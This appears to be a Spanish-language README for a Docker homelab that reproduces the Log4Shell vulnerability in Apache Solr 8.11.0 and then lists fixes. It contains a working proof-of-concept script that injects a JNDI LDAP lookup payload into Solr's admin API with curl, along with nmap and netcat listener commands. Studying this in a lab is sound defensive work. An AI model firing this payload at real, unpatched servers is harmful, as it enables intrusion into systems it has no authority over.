
Log4j Vulnerability homelab
Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) ejecutando una versión vulnerable de Log4j.kali-lab): Contenedor Kali Linux básico con nmap, curl y netcat preinstalados.En su terminal, levante el entorno en segundo plano:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Dentro del contenedor Kali, descubra su propia subred y localice la IP de Apache Solr:
# 1. Vea su IP y máscara de red
hostname -I
# 2. Escanee la red interna para encontrar la IP del objetivo (puerto de Solr: 8983)
# (Sustituya la subnet de abajo según la IP que obtuvo en el comando anterior)
nmap -p 8983 172.20.0.0/24
El script poc.sh inyecta el payload de lookup JNDI en el parámetro de la API de administración de Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Todavía dentro de Kali, dé permiso al script y ejecute pasando las IPs correctas:
chmod +x poc.sh
./poc.sh <IP_DEL_KALI> <IP_DEL_SOLR> 1389
¿Qué sucede aquí? Solr procesará la solicitud e intentará abrir una conexión LDAP de vuelta a la IP de Kali en el puerto especificado. Puede monitorear ese intento de conexión abriendo un listener rápido en Kali antes de ejecutar el script (ej:
nc -lnvp 1389).
Para corregir la falla en Log4j 2:
2.15.0 o 2.17.1).-Dlog4j2.formatMsgNoLookups=true en la inicialización de Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class